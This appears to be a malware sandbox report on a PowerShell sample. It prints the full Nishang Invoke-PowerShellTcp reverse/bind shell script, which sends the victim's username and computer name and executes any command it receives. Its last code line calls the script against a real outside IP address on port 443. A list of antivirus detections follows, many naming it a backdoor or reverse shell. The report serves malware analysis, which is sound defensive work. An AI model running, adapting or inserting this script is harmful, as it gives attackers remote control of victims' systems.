Static | ZeroBOX
No static analysis available.
function Invoke-PowerShellTcp
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
try
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
catch
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
Invoke-PowerShellTcp -Reverse -IPAddress 35.174.153.211 -Port 443
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb PowerShell.ReverseShell.8
ClamAV Clean
CMC Clean
CAT-QuickHeal Clean
ALYac Heur.BZC.PZQ.Boxter.81.3CD63824
Malwarebytes Clean
VIPRE Heur.BZC.PZQ.Boxter.81.3CD63824
Sangfor Hacktool.Generic-Script.Save.14e69ed4
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren PSH/Nishang.B
Symantec Hacktool.Nishang
ESET-NOD32 PowerShell/RiskWare.RemoteShell.F
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [PUP]
Cynet Malicious (score: 99)
Kaspersky Backdoor.PowerShell.Agent.be
BitDefender Heur.BZC.PZQ.Boxter.81.3D2A2567
NANO-Antivirus Clean
SUPERAntiSpyware Clean
MicroWorld-eScan Heur.BZC.PZQ.Boxter.81.3D2A2567
Tencent Clean
Sophos ATK/Nishang-A
F-Secure PrivacyRisk.SPR/RemoteShell.LFJB
Baidu Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition BehavesLike.PS.Suspicious.xr
FireEye Heur.BZC.PZQ.Boxter.81.3D2A2567
Emsisoft Heur.BZC.PZQ.Boxter.81.3D2A2567 (B)
Ikarus Trojan.PowerShell.Reverseshell
Jiangmin Clean
Avira SPR/RemoteShell.LFJB
Antiy-AVL Clean
Microsoft Trojan:PowerShell/HackScript.A
Gridinsoft Clean
Xcitium Clean
Arcabit Heur.BZC.PZQ.Boxter.81.3CD63824
ViRobot Clean
ZoneAlarm Backdoor.PowerShell.Agent.be
GData Heur.BZC.PZQ.Boxter.81.3D2A2567
Google Detected
AhnLab-V3 Clean
Acronis Clean
McAfee HTool-Nishang
MAX malware (ai score=86)
VBA32 Clean
Zoner Clean
Rising HackTool.Generic!8.46D (TOPIS:E0:qe1CsWPSh5H)
Yandex Clean
TACHYON Clean
Fortinet Clean
AVG Script:SNH-gen [PUP]
Panda Clean
No IRMA results available.